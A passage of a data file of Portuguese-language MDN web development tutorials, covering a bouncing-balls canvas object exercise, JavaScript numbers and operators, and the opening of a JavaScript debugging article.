`<h1>`, e se livrar de qualquer barra de rolagem ou margem ao redor da borda da página (para que fique bonito e arrumado).\n3. Algum JavaScript que serve para configurar o elemento `<canvas>` e fornecer uma função geral que vamos usar.\n\nA primeira parte do script é assim:\n\n\n```js\nconst canvas = document.querySelector(\"canvas\");\n\nconst ctx = canvas.getContext(\"2d\");\n\nconst width = (canvas.width = window.innerWidth);\nconst height = (canvas.height = window.innerHeight);\n```\n\n\nEsse script obtém uma referência ao elemento `<canvas>` e, em seguida, chama o método `getContext()` para nos fornecer um contexto no qual podemos começar a desenhar. A variável resultante (`ctx`) é o objeto que representa diretamente a área de desenho da tela e nos permite desenhar formas 2D nela.\n\nEm seguida, definimos variáveis chamadas `width` e `height`, e a largura e altura do elemento canvas (representado pelas propriedades `canvas.width` e `canvas.height`) para igualar a largura e a altura da viewport do navegador (a área em que a página da Web aparece — isso pode ser obtido das propriedades `Window.innerWidth` (en-US) e `Window.innerHeight` ).\n\nVocê verá aqui que estamos encadeando várias tarefas juntas, para que as variáveis sejam todas mais rápidas — isso é perfeitamente aceitável.\n\nA última parte do script inicial é a seguinte:\n\n\n```js\nfunction random(min, max) {\n  const num = Math.floor(Math.random() \\* (max - min + 1)) + min;\n  return num;\n}\n```\n\n\nEssa função usa dois números como argumentos e retorna um número aleatório no intervalo entre os dois.\n\nModelando uma bola no nosso programa\n------------------------------------\n\nNosso programa contará com muitas bolas saltando ao redor da tela. Como todas essas bolas se comportarão da mesma maneira, faz sentido representá-las com um objeto. Vamos começar adicionando o construtor a seguir ao final do código.\n\n\n```js\nfunction Ball(x, y, velX, velY, color, size) {\n  this.x = x;\n  this.y = y;\n  this.velX = velX;\n  this.velY = velY;\n  this.color = color;\n  this.size = size;\n}\n```\n\n\nAqui incluímos alguns parâmetros que definem as propriedades que cada bola precisa para funcionar em nosso programa:\n\n* coordenadas `x` e `y` — coordenadas horizontal e vertical onde a bola vai começar na tela. Isso pode variar entre 0 (canto superior esquerdo) à largura e altura da janela de visualização do navegador (canto inferior direito).\n* velocidade horizontal e vertical (`velX` e `velY`) — cada bola recebe uma velocidade horizontal e vertical; em termos reais, esses valores serão adicionados regularmente aos valores das coordenadas `x`/`y` quando começarmos a animar as bolas, para movê-las tanto em cada quadro.\n* `color` — cada bola recebe uma cor.\n* `size` — cada bola recebe um tamanho — este será o seu raio, em pixels.\n\nIsso classifica as propriedades, mas e os métodos? Queremos realmente fazer com que nossas bolas façam algo em nosso programa.\n\n### Desenhando a bola\n\nPrimeiro adicione o seguinte método `draw()` ao `prototype` do `Ball()`:\n\n\n```js\nBall.prototype.draw = function () {\n  ctx.beginPath();\n  ctx.fillStyle = this.color;\n  ctx.arc(this.x, this.y, this.size, 0, 2 \\* Math.PI);\n  ctx.fill();\n};\n```\n\n\nUsando esta função, podemos dizer a nossa bola para desenhar-se na tela, chamando uma série de membros do contexto de tela 2D que definimos anteriormente (`ctx`). O contexto é como o papel, e agora queremos comandar nossa caneta para desenhar algo nela:\n\n* Primeiro, usamos `beginPath()` para declarar que queremos desenhar uma forma no papel.\n* Em seguida, usamos `fillStyle` para definir a cor que queremos que a forma seja — nós a definimos como a propriedade `color` da nossa bola.\n* Em seguida, usamos o método `arc()` para traçar uma forma de arco no papel. Seus parâmetros são:\n    + A posição `x` e `y` do centro do arco — estamos especificando as propriedades `x` e `y` da nossa bola.\n    + O raio do nosso arco — estamos especificando a propriedade `size` da nossa bola.\n    + Os dois últimos parâmetros especificam o número inicial e final de graus em volta do círculo em que o arco é desenhado entre eles. Aqui nós especificamos 0 graus e `2 * PI`, que é o equivalente a 360 graus em radianos (irritantemente, você tem que especificar isso em radianos). Isso nos dá um círculo completo. Se você tivesse especificado apenas `1 * PI`, você obteria um semicírculo (180 graus).\n* Por último, usamos o método `fill()`, que basicamente diz \"terminar de desenhar o caminho que começamos com `beginPath()`, e preencher a área que ocupa com a cor que especificamos anteriormente em `fillStyle`.\"\n\nVocê pode começar a testar seu objeto já.\n\n1. Salve o código até o momento e carregue o arquivo HTML em um navegador.\n2. Abra o console JavaScript do navegador e, em seguida, atualize a página para que o tamanho da tela mude para a viewport menor visível deixada quando o console for aberto.\n3. Digite o seguinte para criar uma nova instância de bola:\n\n```js\nlet testBall = new Ball(50, 100, 4, 4, \"blue\", 10);\n```\n\n4. Tente chamar seus membros:\n\n```js\ntestBall.x;\ntestBall.size;\ntestBall.color;\ntestBall.draw();\n```\n\n5. Quando você entra na última linha, você deve ver a bola se desenhando em algum lugar na sua tela.\n### Atualizando os dados da bola\n\nPodemos desenhar a bola na posição, mas para começar a mover a bola, precisamos de uma função de atualização de algum tipo. Adicione o seguinte código na parte inferior do seu arquivo JavaScript, para adicionar um método `update()` ao `prototype` do `Ball()`:\n\n\n```js\nBall.prototype.update = function () {\n  if (this.x + this.size >= width) {\n    this.velX = -this.velX;\n  }\n\n  if (this.x - this.size <= 0) {\n    this.velX = -this.velX;\n  }\n\n  if (this.y + this.size >= height) {\n    this.velY = -this.velY;\n  }\n\n  if (this.y - this.size <= 0) {\n    this.velY = -this.velY;\n  }\n\n  this.x += this.velX;\n  this.y += this.velY;\n};\n```\n\n\nAs primeiras quatro partes da função verificam se a bola atingiu a borda da tela. Se tiver, invertemos a polaridade da velocidade relevante para fazer a bola viajar na direção oposta. Assim, por exemplo, se a bola estava viajando para cima (positivo `velY`), então a velocidade vertical é alterada de forma que ela comece a viajar para baixo (negativo `velY`).\n\nNos quatro casos, estamos verificando se:\n\n* Se a coordenada `x` é maior que a largura da tela (a bola está saindo da borda direita).\n* Se a coordenada `x` é menor que 0 (a bola está saindo da borda esquerda).\n* Se a coordenada `y` é maior que a altura da tela (a bola está saindo da borda inferior).\n* Se a coordenada `y` é menor que 0 (a bola está saindo da borda superior).\n\nEm cada caso, estamos incluindo o `size` da bola no cálculo, porque as coordenadas `x`/`y` estão no centro da bola, mas queremos que a borda da bola saia do perímetro — não queremos a bola para fique no meio da tela antes de quicar de volta.\n\nAs duas últimas linhas adicionam o valor `velX` à coordenada `x`, e o valor `velY` à coordenada `y` — a bola é efitivamente movida cada vez que este método é chamado.\n\nIsso é o que será feito por ora; vamos continuar com alguma animação!\n\nAnimando a bola\n---------------\n\nAgora vamos tornar isso divertido. Vamos começar a adicionar bolas à tela e a animá-las.\n\n1. Primeiro, precisamos de criar um lugar para armazenar todas as nossas bolas e então preenche-lo. O código a seguir fará esse trabalho — adicione-o ao final do seu código agora:\n\n```js\nlet balls = [];\n\nwhile (balls.length < 25) {\n  let size = random(10, 20);\n  let ball = new Ball(\n    // ball position always drawn at least one ball width\n    // away from the edge of the canvas, to avoid drawing errors\n    random(0 + size, width - size),\n    random(0 + size, height - size),\n    random(-7, 7),\n    random(-7, 7),\n    \"rgb(\" +\n      random(0, 255) +\n      \",\" +\n      random(0, 255) +\n      \",\" +\n      random(0, 255) +\n      \")\",\n    size,\n  );\n\n  balls.push(ball);\n}\n```\n\nO laço `while` cria uma nova instância da nossa `Ball()` usando valores aleatórios gerados com nossa função `random()`, então a função `push()` coloca ela no final do nosso array de bolas, mas somente enquanto o número de bolas no array é menor que 25. Então quando nos tivermos 25 bolas na tela mais nenhuma bola aparece. Você pode tentar variar o número em `balls.length < 25` para obter mais ou menos bolas na tela. Dependendo de quanto poder de processamento seu computador/navegador tiver, especificar várias milhares de bolas pode diminuir bastante a velocidade da animação!\n2. Adicione o seguinte ao final do seu código agora:\n\n```js\nfunction loop() {\n  ctx.fillStyle = \"rgba(0, 0, 0, 0.25)\";\n  ctx.fillRect(0, 0, width, height);\n\n  for (let i = 0; i < balls.length; i++) {\n    balls[i].draw();\n    balls[i].update();\n  }\n\n  requestAnimationFrame(loop);\n}\n```\n\nTodos os programas que animam as coisas geralmente envolvem um loop de animação, que serve para atualizar as informações no programa e renderizar a visualização resultante em cada quadro da animação; esta é a base para a maioria dos jogos e outros programas. Nossa função `loop()` faz o seguinte:\n    * Define a cor de preenchimento da tela como preto semitransparente e desenha um retângulo com a cor em toda a largura e altura da tela, usando `fillRect()` (os quatro parâmetros fornecem uma coordenada de início e uma largura e altura para o retângulo desenhado ). Isso serve para encobrir o desenho do quadro anterior antes que o próximo seja desenhado. Se você não fizer isso, você verá apenas longas cobras se movimentando ao redor da tela, em vez de mover as bolas! A cor do preenchimento é definida como semitransparente, `rgba(0,0,0,0.25)`, para permitir que os poucos quadros anteriores brilhem levemente, produzindo as pequenas trilhas atrás das bolas à medida que elas se movem. Se você mudou 0,25 para 1, você não vai mais vê-los. Tente variar esse número para ver o efeito que ele tem.\n    * Percorre todas as bolas no array `balls` e executa a função `draw()` e `update()` de cada bola para desenhar cada uma delas na tela, depois faz as atualizações necessárias para a posição e a velocidade a tempo para o próximo quadro.\n    * Executa a função novamente usando o método `requestAnimationFrame()` — quando esse método é executado constantemente e passa o mesmo nome de função, ele executará essa função um número definido de vezes por segundo para criar uma animação suave. Isso geralmente é feito de forma recursiva — o que significa que a função está chamando a si mesma toda vez que é executada, portanto, ela será executada repetidas vezes.\n3. Por último mas não menos importante, adicione a seguinte linha à parte inferior do seu código — precisamos chamar a função uma vez para iniciar a animação.\n\n```js\nloop();\n```\n\n\nÉ isso para o básico — tente salvar e atualizar para testar suas bolas quicando!\n\nAdicionando detecção de colisão\n-------------------------------\n\nAgora, para um pouco de diversão, vamos adicionar alguma detecção de colisão ao nosso programa, para que nossas bolas saibam quando bateram em outra bola.\n\n1. Primeiro de tudo, adicione a seguinte definição de método abaixo onde você definiu o método `update()` (ou seja, o bloco `Ball.prototype.update`).\n\n```js\nBall.prototype.collisionDetect = function () {\n  for (let j = 0; j < balls.length; j++) {\n    if (!(this === balls[j])) {\n      const dx = this.x - balls[j].x;\n      const dy = this.y - balls[j].y;\n      const distance = Math.sqrt(dx \\* dx + dy \\* dy);\n\n      if (distance < this.size + balls[j].size) {\n        balls[j].color = this.color =\n          \"rgb(\" +\n          random(0, 255) +\n          \",\" +\n          random(0, 255) +\n          \",\" +\n          random(0, 255) +\n          \")\";\n      }\n    }\n  }\n};\n```\n\nEsse método é um pouco complexo, então não se preocupe se você não entender exatamente como isso funciona agora. Uma explicação a seguir:\n    * Para cada bola, precisamos checar todas as outras bolas para ver se ela colidiu com a bola atual. Para fazer isso, abrimos outro loop `for` para percorrer todas as bolas no array `balls[]`.\n    * Imediatamente dentro de nosso loop for, usamos uma instrução `if` para verificar se a bola atual em loop é a mesma bola que estamos verificando no momento. Não queremos verificar se uma bola colidiu consigo mesma! Para fazer isso, verificamos se a bola atual (ou seja, a bola cujo método collisionDetect está sendo invocado) é a mesma que a bola de loop (ou seja, a bola que está sendo referenciada pela iteração atual do loop for no collisionDetect método). Nós então usamos `!` para negar a verificação, para que o código dentro da instrução if seja executado apenas se eles não forem iguais.\n    * Em seguida, usamos um algoritmo comum para verificar a colisão de dois círculos. Estamos basicamente verificando se alguma das áreas dos dois círculos se sobrepõe. Isso é explicado ainda mais na 2D collision detection.\n    * Se uma colisão for detectada, o código dentro da instrução `if` interna será executado. Neste caso, estamos apenas definindo a propriedade `color` de ambos os círculos para uma nova cor aleatória. Poderíamos ter feito algo muito mais complexo, como fazer com que as bolas saltassem umas das outras de forma realista, mas isso teria sido muito mais complexo de implementar. Para essas simulações físicas, os desenvolvedores tendem a usar jogos ou bibliotecas físicas, como PhysicsJS, matter.js, Phaser, etc.\n2. Você também precisa chamar esse método em cada quadro da animação. Adicione o seguinte abaixo do `balls[i].update();`:\n\n```js\nballs[i].collisionDetect();\n```\n\n3. Salve e atualize a demonstração novamente, e você verá suas bolas mudando de cor quando colidirem!\n\n**Nota:** If you have trouble getting this example to work, try comparing your JavaScript code against our finished version (also see it running live).\n\nSumário\n-------\n\nEsperamos que você tenha se divertido escrevendo seu próprio exemplo de bolas saltitantes aleatórias do mundo real, usando várias técnicas orientadas a objetos e objetos de todo o módulo! Isso deve ter lhe dado alguma prática útil no uso de objetos e um bom contexto do mundo real.\n\nÉ isso para artigos de objetos — tudo o que resta agora é para você testar suas habilidades na avaliação de objetos.\n\nVeja também\n-----------\n\n* Canvas tutorial — um guia para iniciantes sobre o uso de telas (canvas) 2D .\n* requestAnimationFrame()\n* 2D collision detection\n* 3D collision detection (en-US)\n* 2D breakout game using pure JavaScript (en-US) — um ótimo tutorial para iniciantes que mostra como criar um jogo 2D.\n* 2D breakout game using Phaser (en-US) — explica conceitos básicos da criação de um jogo 2D utilizando uma biblioteca JavaScript.\n* Anterior\n* Menu: Objects\n* Próxima"}
{"title":"Matemática básica no JavaScript — números e operadores - Aprendendo desenvolvimento web","text":"Matemática básica no JavaScript — números e operadores\n======================================================\n\n* Anterior\n* Menu: First steps\n* Próxima\n\nNeste ponto do curso estaremos discutindo matemática em JavaScript — Como podemos usar operadores e outros recursos para manipular números e fazer cálculos.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Conhecimento básico em informática, uma compreensão básica de HTML e\n CSS, uma compreensão do que é o JavaScript.\n  |\n| Objetivo: | Ganhar familiaridade com o básico em matemática no JavaScript. |\n\nTodo mundo ama matemática\n-------------------------\n\nOk, talvez não. Alguns de nós gostam de matemática, alguns de nós tem a odiado desde que tivemos que aprender a tabuada de multiplicação e divisão na escola, e alguns de nós estão em algum lugar no meio dos dois cenários. Mas nenhum de nós pode negar que a matemática é uma parte fundamental da vida sem a qual não poderíamos ir muito longe. Isso é especialmente verdadeiro quando estamos aprendendo a programar em JavaScript (ou em qualquer outra linguagem, diga-se de passagem) — muito do que fazemos se baseia no processamento de dados numéricos, cálculo de novos valores, etc. Assim você não ficará surpreso em aprender que o JavaScript tem uma configuração completa de funções matemáticas disponíveis.\n\nEste artigo discute apenas as partes básicas que você precisa saber agora.\n\n### Tipos de números\n\nEm programação, até mesmo o humilde sistema de números decimais que todos nós conhecemos tão bem é mais complicado do que você possa pensar. Usamos diferentes termos para descrever diferentes tipos de números decimais, por exemplo:\n\n* **Integers** (inteiros) são números inteiros, ex. 10, 400 ou -5.\n* **Números de ponto flutuante** *(floats)* tem pontos e casas decimais, por exemplo 12.5 e 56.7786543.\n* **Doubles** são tipos de *floats* que tem uma precisão maior do que os números de ponto flutuante padrões (significando que eles são mais precisos, possuindo uma grande quantidade de casas decimais).\n\nTemos até mesmo diferentes tipos de sistemas numéricos! O decimal tem por base 10 (o que significa que ele usa um número entre 0–9 em cada casa), mas temos também algo como:\n\n* **Binário** — A linguagem de menor level dos computadores; 0s e 1s.\n* **Octal** — Base 8, usa um caractere entre 0–7 em cada coluna.\n* **Hexadecimal** — Base 16, usa um caractere entre 0–9 e depois um entre a–f em cada coluna. Você pode já ter encontrado esses números anteriormente, trabalhando com cores no CSS.\n\n**Antes de se preocupar com seu cérebro estar derretendo, pare agora mesmo!** Para um começo, vamos nos ater aos números decimais no decorrer desse curso; você raramente irá se deparar com a necessidade de começar a pensar sobre os outros tipos, se é que vai precisar algum dia.\n\nA segunda boa notícia é que, diferentemente de outras linguagens de programação, o JavaScript tem apenas um tipo de dados para números, você advinhou, `Number`. Isso significa que qualquer que seja o tipo de números com os quais você está lidando em JavaScript, você os manipula do mesmo jeito.\n\n### Tudo é número para mim\n\nVamos brincar rapidamente com alguns números para nos familiarizarmos com a sintaxe básica que precisamos. Insira os comandos listados abaixo em seu console JavaScript, ou use o console simples incorporado abaixo, se preferir.\n\n**Abra em uma nova janela**\n\n1. Primeiramente, vamos declarar duas variáveis e as inicializar com um *integer* e um *float*, respectivamente, então digitaremos os nomes das variáveis para verificar se está tudo em ordem:\n\n```js\nvar meuInt = 5;\nvar meuFloat = 6.667;\nmeuInt;\nmeuFloat;\n```\n\n2. Valores numéricos são inseridos sem aspas — tente declarar e inicializar mais duas variáveis contendo números antes de seguir em frente.\n3. Agora vamos checar se nossas duas variáveis originais são do mesmo tipo de dados. Há um operador chamado `typeof` no JavaScript que faz isso. Insira as duas linhas conforme mostradas abaixo:\n\n```js\ntypeof meuInt;\ntypeof meuFloat;\n```\n\nVocê deve obter `\"number\"` de volta nos dois casos — isso torna as coisas muito mais fáceis para nós do que se diferentes tipos de números tivessem diferentes tipos de dados, e tivéssemos que lidar com eles em diferentes maneiras. Ufa!\nOperadores aritméticos\n----------------------\n\nSão os operadores que utilizamos para fazer as operações aritiméticas básicas:\n\n| Operador | Nome | Propósito | Exemplo |\n| --- | --- | --- | --- |\n| `+` | Adição | Adiciona um número a outro. | `6 + 9` |\n| `-` | Subtração | Subtrai o número da direita do número da esquerda. | `20 - 15` |\n| `*` | Multiplicação | Multiplica um número pelo outro. | `3 * 7` |\n| `/` | Divisão | Divide o número da esquerda pelo número da direita. | `10 / 5` |\n| `%` | Restante *(Remainder* - as vezes chamado de modulo) | Retorna o resto da divisão em números inteiros do número da esquerda pelo número da direita. | `8 % 3` (retorna 2; como três cabe duas vezes em 8, deixando 2 como resto.) |\n\n**Nota:** Você verá algumas vezes números envolvidos em aritimética chamados de operandos.\n\nNós provavelmente não precisamos ensinar a você como fazer matemática básica, mas gostaríamos de testar seu entendimento da sintaxe envolvida. Tente inserir os exemplos abaixo no seu console JavaScript, ou use o console incorporado visto anteriormente, se preferir, para familiarizar-se com a sintaxe.\n\n1. Primeiro tente inserir alguns exemplos simples por sua conta, como\n\n```js\n10 + 7;\n9 \\* 8;\n60 % 3;\n```\n\n2. Você pode tentar declarar e inicializar alguns números dentro de variáveis, e tentar usá-los nas operações — as variáveis irão se comportar exatamente como os valores que elas armazenam para a finalidade das operações. Por exemplo:\n\n```js\nvar num1 = 10;\nvar num2 = 50;\n9 \\* num1;\nnum2 / num1;\n```\n\n3. Por último, nesta seção, tente inserir algumas expressões mais complexas, como:\n\n```js\n5 + 10 \\* 3;\n(num2 % 9) \\* num1;\nnum2 + num1 / 8 + 2;\n```\n\n\nAlguns dos exemplos do último bloco podem não ter retornado os valores que você estava esperando; a seção abaixo pode lhe explicar o porquê.\n\n### Precedência de operador\n\nVamos olhar para o último exemplo, assumindo que `num2` guarda o valor 50 e `num1` possui o valor 10 (como iniciado acima):\n\n\n```js\nnum2 + num1 / 8 + 2;\n```\n\n\nComo um ser humano, talvez você leia isso como *\"50 mais 10 é igual a 60\"*, depois *\"8 mais 2 é igual a 10\"*, e então *\"60 dividido por 10 é igual a 6\"*.\n\nNo entanto seu navegador vai ler *\"10 dividido por 8 é igual a 1.25\"*, então *\"50 mais 1.25 mais 2 é igual a 53.25\"*.\n\nIsto acontence por causa da **precedência de operadores** — algumas operações serão aplicadas antes de outras quando calcularmos o resultado de uma soma (referida em programação como uma expressão). A precedência de operadores em JavaScript é semelhante ao ensinado nas aulas de matemática na escola — Multiplicação e divisão são realizados primeiro, depois a adição e subtração (a soma é sempre realizada da esquerda para a direita).\n\nSe você quiser substituir a precedência do operador, poderá colocar parênteses em volta das partes que desejar serem explicitamente tratadas primeiro. Então, para obter um resultado de 6, poderíamos fazer isso:\n\n\n```js\n(num2 + num1) / (8 + 2);\n```\n\n\nTente fazer e veja como fica.\n\n**Nota:** Uma lista completa de todos os operadores JavaScript e suas precedências pode ser vista em Expressões e operadores.\n\nOperadores de incremento e decremento\n-------------------------------------\n\nÀs vezes você desejará adicionar ou subtrair, repetidamente, um valor de uma variável numérica. Convenientemente isto pode ser feito usando os operadores incremento `++` e decremento `--`. Usamos `++` em nosso jogo \"Adivinhe o número\" no primeiro artigo Um primeiro mergulho no JavaScript, quando adicionamos 1 ao nosso `contagemPalpites` para saber quantas adivinhações o usuário deixou após cada turno.\n\n\n```js\ncontagemPalpites++;\n```\n\n\n**Nota:** Eles são mais comumente usado em Laços e iterações, que será visto no curso mais tarde. Por exemplo, digamos que você queira passar por uma lista de preços e adicionar imposto sobre vendas a cada um deles. Você usaria um loop para passar por cada valor e fazer o cálculo necessário para adicionar o imposto sobre vendas em cada caso. O incrementador é usado para mover para o próximo valor quando necessário. Na verdade, fornecemos um exemplo simples mostrando como isso é feito - verifique ao vivo e observe o código-fonte para ver se consegue identificar os incrementadores! Veremos os *loops* detalhadamente mais adiante no curso.\n\nVamos tentar brincar com eles no seu console. Para começar, note que você não pode aplicá-las diretamente a um número, o que pode parecer estranho, mas estamos atribuindo a variável um novo valor atualizado, não operando no próprio valor. O seguinte retornará um erro:\n\n\n```js\n3++;\n```\n\n\nEntão, você só pode incrementar uma variável existente. Tente isto:\n\n\n```js\nvar num1 = 4;\nnum1++;\n```\n\n\nOk, segunda coisa estranha! Quando você fizer isso, verá um valor 4 retornado - isso ocorre porque o navegador retorna o valor atual e, *em seguida*, incrementa a variável. Você pode ver que ele foi incrementado se você retornar o valor da variável novamente:\n\n\n```js\nnum1;\n```\n\n\nAcontece a mesma coisa com `--` : tente o seguinte\n\n\n```js\nvar num2 = 6;\nnum2--;\nnum2;\n```\n\n\n**Nota:** Você pode fazer o navegador fazer o contrário - incrementar/decrementar a variável e depois retornar o valor, colocando o operador no início da variável ao invés do final. Tente os exemplos acima novamente, mas desta vez use `++num1` e `--num2`.\n\nOperadores de atribuição\n------------------------\n\nOperadores de atribuição são os que atribuem um valor à uma variável. Nós já usamos o básico, `=`, muitas vezes, simplesmente atribuindo à variável do lado esquerdo o valor indicado do lado direito do operador:\n\n\n```js\nvar x = 3; // x contém o valor 3\nvar y = 4; // y contém o valor 4\nx = y; // x agora contém o mesmo valor de y, 4\n```\n\n\nMas existem alguns tipos mais complexos, que fornecem atalhos úteis para manter seu código mais puro e mais eficiente. Os mais comuns estão listados abaixo:\n\n| Operator | Name | Purpose | Example | Shortcut for |\n| --- | --- | --- | --- | --- |\n| `+=` | Atribuição de adição | Adiciona o valor à direita ao valor da variável à esquerda e, em seguida, retorna o novo valor da variável | `x = 3; x += 4;` | `x = 3; x = x + 4;` |\n| `-=` | Atribuição de subtração | Subtrai o valor à direita do valor da variável à esquerda e retorna o novo valor da variável | `x = 6; x -= 3;` | `x = 6; x = x - 3;` |\n| `*=` | Atribuição de multiplicação | Multiplica o valor da variável à esquerda pelo valor à direita e retorna o novo valor da variável | `x = 2; x *= 3;` | `x = 2; x = x * 3;` |\n| `/=` | Atribuição de divisão | Divide o valor da variável à esquerda pelo valor à direita e retorna o novo valor da variável | `x = 10; x /= 5;` | `x = 10; x = x / 5;` |\n\nTente digitar alguns dos exemplos acima em seu console para ter uma ideia de como eles funcionam. Em cada caso, veja se você pode adivinhar qual é o valor antes de digitar a segunda linha.\n\nNote que você pode muito bem usar outros valores no lado direito de cada expressão, por exemplo:\n\n\n```js\nvar x = 3; // x contém o valor 3\nvar y = 4; // y contém o valor 4\nx \\*= y; // x agora contém o valor 12\n```\n\n\n**Nota:** Existem muitos outros operadores de atribuição disponíveis, mas estes são os básicos que você deve aprender agora.\n\nAprendizado ativo: dimensionando uma canvas box\n-----------------------------------------------\n\nNeste exercício, você manipulará alguns números e operadores para alterar o tamanho de uma caixa. A caixa é desenhada usando uma API do navegador chamada Canvas API. Não há necessidade de se preocupar sobre como isso funciona, apenas concentre-se na matemática por enquanto. A largura e altura da caixa (em pixels) são definidas pelas variáveis x e y, que recebem um valor inicial de 50.\n\n**Abrir em nova janela**\n\nNa caixa de código editável acima, há duas linhas marcadas com um comentário que gostaríamos que você atualizasse para aumentar/diminuir a caixa para determinados tamanhos, usando determinados operadores e/ou valores em cada caso. Vamos tentar o seguinte:\n\n* Altere a linha que calcula x para que a caixa ainda tenha 50px de largura, mas que 50 seja calculado usando os números 43 e 7 e um operador aritmético.\n* Altere a linha que calcula y tenha 75px de altura, mas que 75 seja calculado usando os números 25 e 3 e um operador aritmético.\n* Altere a linha que calcula x para que a caixa tenha 250px de largura, mas que 250 seja calculado usando dois números e o operador resto (modulo).\n* Altere a linha que calcula y para que a caixa tenha 150px de altura, mas que 150 seja calculado usando três números e os operadores de subtração e divisão.\n* Altere a linha que calcula x para que a caixa tenha 200px de largura, mas que 200 seja calculado usando o número 4 e um operador de atribuição.\n* Altere a linha que calcula y para que a caixa tenha 200px de altura, mas que 200 seja calculado usando os números 50 e 3, o operador de multiplicação e o operador de atribuição de adição.\n\nNão se preocupe se você estragar totalmente o código. Você sempre pode pressionar o botão Reset para fazer as coisas funcionarem novamente. Depois de ter respondido corretamente a todas as perguntas acima, sinta-se à vontade para brincar um pouco com o código ou crie seus próprios desafios.\n\nOperadores de comparação\n------------------------\n\nÀs vezes, queremos executar testes verdadeiro / falso e, em seguida, agir de acordo, dependendo do resultado desse teste, para fazer isso, usamos **operadores de comparação**.\n\n| Operator | Name | Purpose | Example |\n| --- | --- | --- | --- |\n| `===` | Igualdade estrita | Verifica se o valor da esquerda e o da direita são idênticos entre si. | `5 === 2 + 4` |\n| `!==` | Não-igualdade-estrita | Verifica se o valor da esquerda e o da direita **não** são idênticos entre si. | `5 !== 2 + 3` |\n| `<` | Menor que | Verifica se o valor da esquerda é menor que o valor da direita. | `10 < 6` |\n| `>` | Maior que | Verifica se o valor da esquerda é maior que o valor da direita. | `10 > 20` |\n| <= | Menor ou igual que | Verifica se o valor da esquerda é menor que ou igual ao valor da direita. | `3 <= 2` |\n| >= | Maior ou igual que | Verifica se o valor da esquerda é maior que ou igual ao valor da direita. | `5 >= 4` |\n\n**Nota:** Talvez você já tenha visto alguém usando `==` e`!=` afim de testar igualdade ou desigualdade em JavaScript. Estes são operadores válidos em JavaScript, mas que diferem de `===`/`!==`. As versões anteriores testam se os valores são os mesmos, mas não se os tipos de dados dos valores são os mesmos. As últimas versões estritas testam a igualdade de ambos os valores e seus tipos de dados. Elas tendem a resultar em menos erros, por isso recomendamos que você as use.\n\nSe você tentar inserir alguns desses valores em um console, verá que todos eles retornam `true`/`false` — aqueles booleanos que mencionamos no último artigo. Eles são muito úteis, pois nos permitem tomar decisões em nosso código, e eles são usados toda vez que queremos fazer uma escolha de algum tipo. Por exemplo, booleanos podem ser usados para:\n\n* Exibir o text label em um botão, dependendo se um recurso está ativado ou desativado\n* Exibir uma mensagem de 'game over' se um jogo acabou ou uma mensagem de vitória se o jogo foi vencido\n* Exibir uma saudação sazonal correta, dependendo da época de festas\n* Aumentar ou diminuir o zoom do mapa, dependendo do nível de zoom selecionado\n\nVeremos como codificar essa lógica quando examinarmos instruções condicionais em um artigo futuro. Por enquanto, vamos dar uma olhada em um exemplo rápido:\n\n\n```html\n<button>Iniciar máquina</button>\n<p>A máquina está parada.</p>\n```\n\n\n\n```js\nvar btn = document.querySelector(\"button\");\nvar txt = document.querySelector(\"p\");\n\nbtn.addEventListener(\"click\", updateBtn);\n\nfunction updateBtn() {\n  if (btn.textContent === \"Iniciar máquina\") {\n    btn.textContent = \"Parar máquina\";\n    txt.textContent = \"A máquina iniciou!\";\n  } else {\n    btn.textContent = \"Iniciar máquina\";\n    txt.textContent = \"A máquina está parada.\";\n  }\n}\n```\n\n\n**Abrir em nova janela**\n\nVocê pode ver o operador de igualdade sendo usado apenas dentro da função `updateBtn()`. Neste caso, não estamos testando se duas expressões matemáticas têm o mesmo valor, estamos testando se o conteúdo de texto de um botão contém uma certa string , mas ainda é o mesmo princípio em funcionamento. Se o botão estiver dizendo \"Iniciar máquina\" quando for pressionado, mudaremos o rótulo para \"Parar máquina\" e atualizaremos o rótulo conforme apropriado. Se o botão estiver dizendo \"Parar máquina\" quando for pressionado, nós trocamos a tela de volta.\n\n**Nota:** Esse controle que troca entre dois estados geralmente é chamado de **toggle**. Ele alterna entre um estado e outro - acender, apagar, etc.\n\nResumo\n------\n\nNeste artigo, cobrimos as informações fundamentais que você precisa saber sobre números em JavaScript, por enquanto. Você verá os números sendo usados de novo e de novo, durante todo o aprendizado de JavaScript. Portanto, é uma boa ideia tirar isso do caminho agora. Se você é uma daquelas pessoas que não gosta de matemática, pode se consolar com o fato de este capítulo ser muito curto.\n\nNo próximo artigo, vamos explorar o texto e como o JavaScript nos permite manipulá-lo.\n\n**Nota:** Se você gosta de matemática e quer saber mais sobre como ela é implementada em JavaScriot, você pode encontrar muito mais detalhes na seção principal de JavaScript do MDN. Ótimos lugares para começar são os artigos Números e datas e Expressões e operadores .\n\n* Anterior\n* Menu: First steps\n* Próxima"}
{"title":"O que deu errado? Resolvendo problemas no JavaScript - Aprendendo desenvolvimento web","text":"O que deu errado? Resolvendo problemas no JavaScript\n====================================================\n\n* Anterior\n* Menu: First steps\n* Próxima\n\nQuando você construiu o jogo \"Adivinhe o número\" no artigo anterior, você talvez tenha descoberto que ele não funcionou. Não tema — este artigo tem como objetivo impedir que você arranque os cabelos por causa desses problemas, fornecendo-lhe algumas dicas simples de como encontrar e corrigir erros nos programas JavaScript.\n\n|  |  |\n| --- | --- |\n| Pré-requesitos: | \n Conhecimentos básicos de informática, uma compreensão básica de HTML e\n CSS, uma compreensão do que é JavaScript.\n  |\n| Objetivo: | \n Ganhar habilidade e confiança para começar a resolver problemas simples\n em seu próprio código.\n  |\n\nTipos de erros\n--------------\n\nDe um modo geral, quando você faz algo errado no código, existem dois tipos principais de erros que você encontrará:\n\n* **Erros de sintaxe:** são erros de ortografia em seu código que realmente fazem com que o programa não seja executado, ou pare de trabalhar parcialmente - você geralmente receberá algumas mensagens de erro também. Estes geralmente são adequados para consertar, desde que você esteja familiarizado com as ferramentas certas e saiba o que as mensagens de erro significam!\n* **Erros lógicos:** são erros onde a sintaxe está realmente correta, mas o código não é o que você pretendia, o que significa que o programa é executado com sucesso, mas dá resultados incorretos. Muitas vezes, eles são mais difíceis de consertar do que erros de sintaxe, pois geralmente não há uma mensagem de erro resultante para direcioná-lo para a origem do erro.\n\nOk, então não é assim tão simples - há alguns outros diferenciadores à medida que você aprofunda. Mas as classificações acima serão bem úteis nesta fase inicial da sua carreira. Examinaremos esses dois tipos a seguir.\n\nUm exemplo errôneo\n------------------\n\nPara começar, voltemos ao nosso jogo de adivinhação - porém desta vez estaremos explorando uma versão que tem alguns erros inseridos propositalmente. Vá até o Github e faça uma cópia local de 